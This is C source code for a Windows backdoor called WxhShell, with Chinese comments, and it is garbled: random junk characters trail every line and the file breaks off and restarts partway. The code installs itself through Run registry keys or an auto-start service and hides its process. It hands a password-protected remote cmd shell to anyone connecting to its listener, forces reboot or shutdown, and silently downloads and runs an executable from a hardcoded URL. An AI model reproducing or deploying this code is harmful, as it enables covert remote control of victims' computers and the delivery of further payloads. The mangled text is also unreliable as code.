    break; ]4Y/xi-  
    } !:"-:O}>=,  
  // 关机 SY,I >-%  
  case 'd': { j1YH9T#|D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a@#Q:O)4  
    if(Boot(SHUTDOWN)) ]U,CKJF%/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f xDj+Q1p  
    else { 8xF)_UV  
    closesocket(wsh); Wp5]Uk  
    ExitThread(0); P8wy*JvT  
    } Zx+cvQ  
    break; rH_Jh}Y  
    } lq>pH5x  
  // 获取shell YwL`>?  
  case 's': { pe()f/Jx(  
    CmdShell(wsh); 2{ o0@  
    closesocket(wsh); [ -ISR7D  
    ExitThread(0); 1")FWN_K/T  
    break; p9-0?(]  
  } M8';%  =@  
  // 退出 G#H9g PY  
  case 'x': { bD35JG^&i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RF_[?O)Q  
    CloseIt(wsh); W+gpr|R2  
    break; 4xm&pQo{V6  
    } '>3`rsu  
  // 离开 =}JBA>q(  
  case 'q': { l'U1 01M>F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AnNP Ti  
    closesocket(wsh); Y4#y34 We  
    WSACleanup(); &<au/^F  
    exit(1); -bypuMQ-p  
    break; *URdd,){i  
        } eZg$AOpU  
  } EeCFII  
  } :peqr!I+K  
naz:A  
  // 提示信息 ^7uX$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kax#OYLpg  
} K@HQrv<  
  } \a\= gn   
JO2xT#V  
  return; TPHYz>D]  
} |olNA*4  
0p-#f|ET  
// shell模块句柄 FV A UR  
int CmdShell(SOCKET sock) IX9K.f  
{ 0[/vQ+O]2  
STARTUPINFO si; -kl;!:'.3  
ZeroMemory(&si,sizeof(si)); 14  H'!$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s~^*+kq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; td >,TW=A*  
PROCESS_INFORMATION ProcessInfo; .Gh%p`<  
char cmdline[]="cmd"; lop uf/U0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B{p4G`$i1  
  return 0; yRC3 . [  
} ~%s}S  
QY@u}&m%o  
// 自身启动模式 LM:)j:gS6  
int StartFromService(void) +Hj/0pp  
{ jYWw.g<  
typedef struct xO7Yt l  
{ iK!dr1:wSw  
  DWORD ExitStatus; KmQ^?Ad- C  
  DWORD PebBaseAddress; LeSHRoD  
  DWORD AffinityMask; cZ|lCy^  
  DWORD BasePriority; [Ct=F|  
  ULONG UniqueProcessId; as r=m{C"  
  ULONG InheritedFromUniqueProcessId; R2 lXTW*  
}   PROCESS_BASIC_INFORMATION; |5,<jyp  
tMFsA`ng  
PROCNTQSIP NtQueryInformationProcess; DLi?'K3t  
mc ZGg;3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7^MX l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KCUU#t|8V\  
L/?]^!.  
  HANDLE             hProcess; CWi8Fv  
  PROCESS_BASIC_INFORMATION pbi; ;,XyN+2H  
*Y%Jl o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ; 0ko@ \Lq  
  if(NULL == hInst ) return 0; T%(C-Quh  
Ox qguT,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \dcdw* v@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @2 =z}S3O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \9)#l#m  
9#k0_vDoW  
  if (!NtQueryInformationProcess) return 0; p@ygne 4  
r`6:Q&&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :.uk$jx  
  if(!hProcess) return 0; J 02^i5l  
Es.nHN^]%K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1fFj:p./l_  
LjaGyj>)  
  CloseHandle(hProcess); UTCzHh1  
,l HLH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {)@D`{$  
if(hProcess==NULL) return 0; m`6VKp{YD  
[i7YVwG4  
HMODULE hMod; i#W*'   
char procName[255]; 5HKW"=5Cf  
unsigned long cbNeeded; .Evy_o\^  
6~8F!b2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eLfvMPVo  
JA^v  
  CloseHandle(hProcess); dMvp&M\\'  
nY_?Jq  
if(strstr(procName,"services")) return 1; // 以服务启动 VWi2(@R^  
!tNd\ }@  
  return 0; // 注册表启动 T3N"CUk  
} zO~9zlik  
>7b)y  
// 主模块 ZFvyL8o  
int StartWxhshell(LPSTR lpCmdLine) mR+Jws'  
{ *1A&'T2  
  SOCKET wsl; a#0;==#  
BOOL val=TRUE; rzeLx Wt  
  int port=0; /ty?<24ko  
  struct sockaddr_in door; B,vOsa"x6`  
)TJS4?  
  if(wscfg.ws_autoins) Install(); 2e1]}wlK  
27D!'S  
port=atoi(lpCmdLine); _A+w#kiv>  
4=[7Em?oLb  
if(port<=0) port=wscfg.ws_port; x/mp=  
L{8;Ud_2r  
  WSADATA data; $_D6_|HK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E(^0B(JF  
 HpW 42  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SVWIEH0?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $t/rOo9cV  
  door.sin_family = AF_INET; bRo|uJ:d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %Mn.e a  
  door.sin_port = htons(port); 1n=_y o  
L":bI&V?:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _P7tnXww  
closesocket(wsl); 1S:|3W  
return 1; SJ?)%[(T  
} #VGjCEeU  
b]Z@^<_E  
  if(listen(wsl,2) == INVALID_SOCKET) { aFj.i8+  
closesocket(wsl); 4n0xE[-  
return 1; /)>S<X  
} cYNV\b4-  
  Wxhshell(wsl); lr@#^  
  WSACleanup(); 8g~EL{'  
q]% T:A=  
return 0; /rc%O*R  
1(#;&:$`i  
} d 8o53a]  
-db75=  
// 以NT服务方式启动 \3XqHf3|o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) > m q,}!n  
{ x/fX`y|(}*  
DWORD   status = 0; ;_?MX/w|&  
  DWORD   specificError = 0xfffffff; !>$4]FkV  
,!#ccv+Vm%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JXqr3 Np1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &^".2)zU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,'fxIO  
  serviceStatus.dwWin32ExitCode     = 0; K^l:MxO-X  
  serviceStatus.dwServiceSpecificExitCode = 0; Ms^dRe)  
  serviceStatus.dwCheckPoint       = 0; mpw~hW0-  
  serviceStatus.dwWaitHint       = 0; ZWUP^V  
3gZ8.8q3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3_$w| ET  
  if (hServiceStatusHandle==0) return; 4Xj4|Rw%  
GW^,g@%C  
status = GetLastError(); Orn0Zpp<z  
  if (status!=NO_ERROR) ]T:;Vo  
{ f9u^R=Ff[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J^#:qk  
    serviceStatus.dwCheckPoint       = 0; ]< l6s  
    serviceStatus.dwWaitHint       = 0; Me5{_n  
    serviceStatus.dwWin32ExitCode     = status; :[l\@>H1tX  
    serviceStatus.dwServiceSpecificExitCode = specificError; .Ajzr8P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); / |r'  
    return; .="bzgC3A  
  } 9!',b>C6  
!YL. .fb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #-VMg+14  
  serviceStatus.dwCheckPoint       = 0; hfWFD,  
  serviceStatus.dwWaitHint       = 0; `>C<}xO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2x]>l? 5b  
} `fNpY#QsN  
8IQtz2  
// 处理NT服务事件,比如:启动、停止 A7_4 .VH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9A'Y4Kg<C  
{ bm~W EX  
switch(fdwControl) C4$:mJ>y  
{ Sl2iz?   
case SERVICE_CONTROL_STOP: 1T&Rc4$Sn7  
  serviceStatus.dwWin32ExitCode = 0; jKIxdY:U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {Azn&|%.t  
  serviceStatus.dwCheckPoint   = 0; 9pn>-1NJ  
  serviceStatus.dwWaitHint     = 0; v X~RP *  
  { $ ,Ck70_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  mEG6  
  }  uF|3/x=  
  return; "ww|&-W9  
case SERVICE_CONTROL_PAUSE: )-15 N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S0,R_d')  
  break; nQX+pkJ  
case SERVICE_CONTROL_CONTINUE: Cwa^"r3P1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (& "su3z  
  break; hXIro  
case SERVICE_CONTROL_INTERROGATE: H9XvO  
  break; ~/pzxo$  
}; 3rW|kkn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'NjzgZ~]P  
} 7,qYV}  
E51dV:l  
// 标准应用程序主函数 }_/Hdmmx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q%n6K  
{ p@!nYPr.  
Z%zj";C G  
// 获取操作系统版本 AN:sQX`  
OsIsNt=GetOsVer(); ?lGG|9J\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $4kH3+WJ  
-&x2&WE'  
  // 从命令行安装 6k{2 +P  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bs+(L [Z  
bK"SKV  
  // 下载执行文件 i$G;f^Z!Y  
if(wscfg.ws_downexe) { Ei}/iBG@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :K`ESq!8u  
  WinExec(wscfg.ws_filenam,SW_HIDE); RoA?p;]<  
} K;?,FlH  
<~ad:[  
if(!OsIsNt) { 6fH@wQ"wN  
// 如果时win9x,隐藏进程并且设置为注册表启动 q\Q{sv_  
HideProc(); (/!r(#K0,'  
StartWxhshell(lpCmdLine); #4MBoN(3  
} <9E0iz+j  
else ptatzp]c#  
  if(StartFromService()) uzmk6G v  
  // 以服务方式启动 ]wT 7*( Y  
  StartServiceCtrlDispatcher(DispatchTable); F^"_TV0va  
else `e9$,h|4  
  // 普通方式启动 ;__9TN  
  StartWxhshell(lpCmdLine); ~vmd XR`'T  
MObt,[^W  
return 0; h5%<+D<  
} +;$oJJ  
](tx<3h  
{2/LRPT  
<DKS+R  
=========================================== m }a|FS  
Y$N)^=7  
^4r73ak/):  
#_lt~^ 6  
C{sLz9  
 S( S#  
" /MY9 >  
z,qRcO&  
#include <stdio.h> ~<<nz9}o_  
#include <string.h> ;Op3?_  
#include <windows.h> +4[^!q* H  
#include <winsock2.h> s2?T5oWU  
#include <winsvc.h>  Q~R ~xz  
#include <urlmon.h> E$W{8?:{  
Y2xL>F  
#pragma comment (lib, "Ws2_32.lib") @L.82p{h  
#pragma comment (lib, "urlmon.lib") Um1[sMc{au  
1(|D'y#  
#define MAX_USER   100 // 最大客户端连接数 IG(?xf\C  
#define BUF_SOCK   200 // sock buffer X37L\e[c  
#define KEY_BUFF   255 // 输入 buffer ,yd MU\so(  
A7(hw~+@  
#define REBOOT     0   // 重启 7.DtdyM  
#define SHUTDOWN   1   // 关机 VrZ>bma;  
"UEv&mQ  
#define DEF_PORT   5000 // 监听端口 9lB]~,z  
vN 2u34  
#define REG_LEN     16   // 注册表键长度 d(g^M1 m  
#define SVC_LEN     80   // NT服务名长度 F+E|r6'i  
*f,DhT/P  
// 从dll定义API J]m{ b09F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u6`=x$&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xs\!$*R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  K;LZ-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ? uYu`Ojzr  
.(pN5JI*  
// wxhshell配置信息 Q{k At%  
struct WSCFG { 8G5Da|\  
  int ws_port;         // 监听端口 ;'81jbh  
  char ws_passstr[REG_LEN]; // 口令 f|y:vpd%  
  int ws_autoins;       // 安装标记, 1=yes 0=no J=pztASt  
  char ws_regname[REG_LEN]; // 注册表键名 i)#s.6.D>  
  char ws_svcname[REG_LEN]; // 服务名 lKEkXO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;7N Z<k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AuR$g7z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d Le-nF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {R/C0-Q^^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ix#epuN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nXjP x@  
gN)c  
}; ?<G]&EK~~]  
e/->_T(I  
// default Wxhshell configuration -P&6L\V  
struct WSCFG wscfg={DEF_PORT, Lm@vXgMD  
    "xuhuanlingzhe", 9f\/\L  
    1, W8lx~:v  
    "Wxhshell", 5,)Q w  
    "Wxhshell", =)hVn  
            "WxhShell Service", p7:{^  
    "Wrsky Windows CmdShell Service", O?<&+(uMTT  
    "Please Input Your Password: ", F :6SPY y  
  1, VUI|.76g  
  "http://www.wrsky.com/wxhshell.exe", tzy'G"P|  
  "Wxhshell.exe" nFe%vu8a  
    }; %,hV[[@.  
aR,}W\6M  
// 消息定义模块 TYI7<-Mp:[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >vuY+o;B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e" ]2=5g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %cE 2s`  
char *msg_ws_ext="\n\rExit.";  9CCkqB/  
char *msg_ws_end="\n\rQuit."; )5|I_PXB  
char *msg_ws_boot="\n\rReboot..."; ='TE,et@d  
char *msg_ws_poff="\n\rShutdown..."; 6sa"O89   
char *msg_ws_down="\n\rSave to "; ~G27;Npy  
Z}|(F RVk  
char *msg_ws_err="\n\rErr!"; %*#n d  
char *msg_ws_ok="\n\rOK!"; ;<0LXYL;  
'R&uD~Q  
char ExeFile[MAX_PATH]; ~4?9a(>3  
int nUser = 0; ?|:BuHkT  
HANDLE handles[MAX_USER]; O@?k T;B  
int OsIsNt; N{-]F|XX  
c\% r38  
SERVICE_STATUS       serviceStatus; "zIFxDR#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T97]P-}  
P>9aI/d9  
// 函数声明 h^j?01*Et  
int Install(void); 1^i Pji/  
int Uninstall(void); M>M`baM1  
int DownloadFile(char *sURL, SOCKET wsh); F4Y @ B  
int Boot(int flag); %T7nO%p  
void HideProc(void); <(vCiH9~P  
int GetOsVer(void); Q:ezifQ  
int Wxhshell(SOCKET wsl); 6%Be36<  
void TalkWithClient(void *cs); V 21njRS  
int CmdShell(SOCKET sock); YDGS}~m~Q  
int StartFromService(void); !Ci~!)$z6  
int StartWxhshell(LPSTR lpCmdLine); Agrp(i"\@  
OLI$1d_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eHDef  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^Q&u0;OJ  
QJ|ap4r  
// 数据结构和表定义 e)E$}4  
SERVICE_TABLE_ENTRY DispatchTable[] = w,Ee>cV]a  
{ ^!q?vo\j|  
{wscfg.ws_svcname, NTServiceMain}, ;W>Y:NCrp  
{NULL, NULL} ^( Rvk  
}; ]0L&v7[  
y1=N F  
// 自我安装 b,KcBQ.  
int Install(void) * !^<m0  
{ X*,Kb(3   
  char svExeFile[MAX_PATH]; jNeI2-9c}  
  HKEY key; u !!X6<  
  strcpy(svExeFile,ExeFile); $cu00K  
wCk~CkC?  
// 如果是win9x系统,修改注册表设为自启动 P]z[v)}  
if(!OsIsNt) { f@co<iA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %p X6QRt?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gNGr!3*)w  
  RegCloseKey(key); g R nOd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t#!yrQ..'G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sZ?mP;Q  
  RegCloseKey(key); @,XSs  
  return 0; 2 1PFR:lP7  
    } ![f ![l  
  } ~n}k\s~|4  
} +{]xtQB=,{  
else { H~ u[3LQz  
wW>)(&!F  
// 如果是NT以上系统,安装为系统服务 w\}?(uO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >[6{LAe~hp  
if (schSCManager!=0) a6kV!,.U  
{ <'G~8tA%v  
  SC_HANDLE schService = CreateService Xv@SxS-5l  
  ( L4L2O7  
  schSCManager, r]ShZBAbYp  
  wscfg.ws_svcname, U.{l;EL:T  
  wscfg.ws_svcdisp, 6ksAc%|5  
  SERVICE_ALL_ACCESS, I}2P>)K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )!tK[K?5  
  SERVICE_AUTO_START, =vT<EW}[  
  SERVICE_ERROR_NORMAL, ;E ec5w1  
  svExeFile, Su 5>$  
  NULL, Pl-5ncb\  
  NULL, /k"`7`!  
  NULL,  &QNWL]  
  NULL, l1]p'Liuu  
  NULL dJ?XPo"Cm=  
  ); Cye$H9 2  
  if (schService!=0) ={?v Ab:  
  { 7H>@iI"?  
  CloseServiceHandle(schService); OIl#DV.  
  CloseServiceHandle(schSCManager); ;+1RU v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XhsTT2B   
  strcat(svExeFile,wscfg.ws_svcname); ~ 8aJ S,u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K gN)JD>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ps$7bN C  
  RegCloseKey(key); LK"  bC  
  return 0; fIGFHZy,  
    } 8QK5z;E2~  
  } >MJg ,  
  CloseServiceHandle(schSCManager); LW:o8ES33  
} [31p&FxM  
} #yI.nzA*  
PR|R`.QSs  
return 1; JY!l!xH(6  
} 4.RG4Jq  
G|8%qd  
// 自我卸载 i@NqC;~;  
int Uninstall(void) U}SXJH&&E  
{ XBQ\_2>  
  HKEY key; r6'UUu  
t:LcNlN|  
if(!OsIsNt) { `]Bxn) b(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;IK[Y{W/  
  RegDeleteValue(key,wscfg.ws_regname); Jx#k,Z4  
  RegCloseKey(key); v+"rZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '&;yT[  
  RegDeleteValue(key,wscfg.ws_regname); Jw~( G9G  
  RegCloseKey(key); ``ekR6[8c  
  return 0; *Ywpz^2?:  
  } mW%?>Z1=>d  
} kj5Q\vr)  
} .lhn;*Yi  
else { l<(Y_PE:  
~7!7\i,Y8\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v&FF|)$  
if (schSCManager!=0) w#i[_  
{ ZDL']*)'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z'p:gv]  
  if (schService!=0) Da$r`  
  {  g/UaYCjM  
  if(DeleteService(schService)!=0) { Y,8KPg@W  
  CloseServiceHandle(schService); P\CDd=yWc  
  CloseServiceHandle(schSCManager); 0tk#Gs[  
  return 0; V Cy5JH  
  } I &*_,d  
  CloseServiceHandle(schService); YJxw 'U >P  
  } Ff^@~X+W<  
  CloseServiceHandle(schSCManager); VE2tq k%  
} ;DnUQj  
} G= ^X1+_  
,a?\M M9$  
return 1; d +iR/Ssc  
} /9y aW7w  
S'~o,`xy  
// 从指定url下载文件 +D#Zn!P  
int DownloadFile(char *sURL, SOCKET wsh) 8&"(WuZ@  
{ ;jK#[*y  
  HRESULT hr; }_QKJw6/"  
char seps[]= "/";  t4Z  
char *token; 9@ $,oM=  
char *file; !S%6Uzsj  
char myURL[MAX_PATH]; t<:D@J]a  
char myFILE[MAX_PATH]; x r(|*  
rg(lCL&:S  
strcpy(myURL,sURL); +)nT|w45  
  token=strtok(myURL,seps); Q4s&E\}  
  while(token!=NULL) M^rM-{?<  
  { } wSi~^*  
    file=token; {mE! Vf  
  token=strtok(NULL,seps); `P+(&taT  
  } FDFH,J`_  
z1 i &Ge  
GetCurrentDirectory(MAX_PATH,myFILE); k6IG+:s  
strcat(myFILE, "\\"); f<y& \'3  
strcat(myFILE, file); z/&;{J  
  send(wsh,myFILE,strlen(myFILE),0); Bd bJ< Is  
send(wsh,"...",3,0); J3S&3+2G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;)DzC c/  
  if(hr==S_OK) \o3"~\|6C  
return 0; c(- Mc6  
else $7I] `Jt  
return 1; V'Y{v  
 Kn+=lCk  
} ST1Ts5I  
U6 82 Th  
// 系统电源模块 MBk"KF  
int Boot(int flag) w'Z!;4E0  
{ |U[y_Y\a  
  HANDLE hToken; 1TqF6`;+  
  TOKEN_PRIVILEGES tkp; >3;^l/2c  
o%(bQV-T  
  if(OsIsNt) { VlW9UF-W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^6/j_G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zCXqBuvu1  
    tkp.PrivilegeCount = 1; n~z\?Y=*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }$&WC:Lg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %u]6KrG18b  
if(flag==REBOOT) { AvRcS]@=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ph7pd  
  return 0; 9n}A ^  
} 7{BnXN[  
else { 3\!F\tqD \  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $"fo^?d/s  
  return 0; y~#\#w {  
} `6 Y33bQ  
  } 2tr :xi@  
  else { e&J3N  
if(flag==REBOOT) { C@@$"}%v2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cIw eBDl  
  return 0; q@Kk\m  
} EnscDtf(  
else { QJ<[Zx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dXP6"V@iI  
  return 0; DA <ynBQ  
} cb+y9wA  
} 5g NLO\  
 {;RF  
return 1; gg8c7d:Q  
} ce5nG0@#  
d7~j^v)=^  
// win9x进程隐藏模块  R<&FhT]  
void HideProc(void) qyv"Wb6+  
{ ,+-?Zv 2  
Pf8u/?/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7Dl%UG]  
  if ( hKernel != NULL ) e{t=>vry  
  { {,f[r*{Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;QidDi_s>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^gm>!-Gx  
    FreeLibrary(hKernel); =h\E<dw  
  } ~L){O*Z  
[2H[5<tH  
return; v |ifI  
} {bTeAfbf]  
WD;)VsP  
// 获取操作系统版本 5DSuUEvWcL  
int GetOsVer(void) YKq0f=Ij  
{ H XP;0B%4  
  OSVERSIONINFO winfo; hZ o5p&b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IozNjII$:.  
  GetVersionEx(&winfo); Gt'/D>FE0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /hfUPO5  
  return 1; \P@S"QO  
  else YE_6OLW  
  return 0; kd`YSkZ  
} vrO%XvXW  
~*kK4]lP  
// 客户端句柄模块 R_9 o!s TZ  
int Wxhshell(SOCKET wsl) BJIFl!w  
{ 9F)W19i.  
  SOCKET wsh; z"3H{ A  
  struct sockaddr_in client; +Z$a1 Y@  
  DWORD myID; 4L $};L  
 0/*X=5  
  while(nUser<MAX_USER) n531rkK-   
{ 'F<Sf:?.p  
  int nSize=sizeof(client); "Y(%oJS]D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [[$Mh_MD  
  if(wsh==INVALID_SOCKET) return 1; _;V YFs  
th9 0O|;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'Dq"e$JM<  
if(handles[nUser]==0) kw;wlFU;  
  closesocket(wsh); {~"Em'}J  
else 5Ny0b|+p  
  nUser++; >!<V\ Fj1  
  } |/t K-c6J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b2W;|  
%27G2^1  
  return 0; E~qK&7+  
} :g/{(#E@Z  
}Uq/kei^P  
// 关闭 socket s7AI:Zv  
void CloseIt(SOCKET wsh) eNivlJ,K|@  
{ r*>QT:sB  
closesocket(wsh); 7~L|;^(  
nUser--; R,XD6'Q  
ExitThread(0); zEAx:6`c  
} $/os{tzjd  
ayN*fiV]  
// 客户端请求句柄 <)"iL4 kDI  
void TalkWithClient(void *cs) td%Y4-+-  
{ T<_+3kw  
;\1b{-' l  
  SOCKET wsh=(SOCKET)cs; zab w!@]  
  char pwd[SVC_LEN]; "hz>{oe  
  char cmd[KEY_BUFF]; "rL"K  
char chr[1]; _%XbxP6rH  
int i,j; OrzM hQaf  
^9n}-Cqeq  
  while (nUser < MAX_USER) { JHHb|  
'! #On/  
if(wscfg.ws_passstr) { pFG]IM7o/u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q=J9L Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @<0h"i x  
  //ZeroMemory(pwd,KEY_BUFF); Ug%<b  
      i=0; ~D$#>'C#  
  while(i<SVC_LEN) { A3m{jbh  
q|?`Gsr  
  // 设置超时 8|fLe\"  
  fd_set FdRead; {H/8#y4qp&  
  struct timeval TimeOut; V}j %gy`  
  FD_ZERO(&FdRead); NU BpIx&  
  FD_SET(wsh,&FdRead); 5+o 2 T]  
  TimeOut.tv_sec=8; J{a Q1)  
  TimeOut.tv_usec=0; tvG g@Xs\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hqdC9?\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `8.1&fBr  
IY-(- a8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F0X5dv  
  pwd=chr[0]; "v*oga%  
  if(chr[0]==0xd || chr[0]==0xa) { ^U R-#WaQ  
  pwd=0; >aNbp  
  break; B:B0p+$I  
  } nD^{Q[E6=  
  i++; ]t8{)r  
    } JI28O8  
$1:}(nO,  
  // 如果是非法用户,关闭 socket "FD<^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Krt$=:m|1  
} f>.` xC{  
v)wY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &\CJg'D:m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TsoCW]h  
[i2A{(x  
while(1) { V,99N'o~x  
;P 0,60  
  ZeroMemory(cmd,KEY_BUFF); yaCd4KP  
l"2^S6vU  
      // 自动支持客户端 telnet标准   EOMuqP)  
  j=0; O7Y P_<,#  
  while(j<KEY_BUFF) { PT 0Qzg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F5 :2TEA  
  cmd[j]=chr[0]; T)$ 6H}[c  
  if(chr[0]==0xa || chr[0]==0xd) { Z1XUYe62  
  cmd[j]=0; R!:eYoQ  
  break; OqAh4qa,$  
  } m70`{-O  
  j++; s{x*~M$vt  
    } cij]&$;Q  
K|P9uHD  
  // 下载文件 uK+9gTv  
  if(strstr(cmd,"http://")) { iX0]g45o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }z9I`6[  
  if(DownloadFile(cmd,wsh)) a>;3 j  
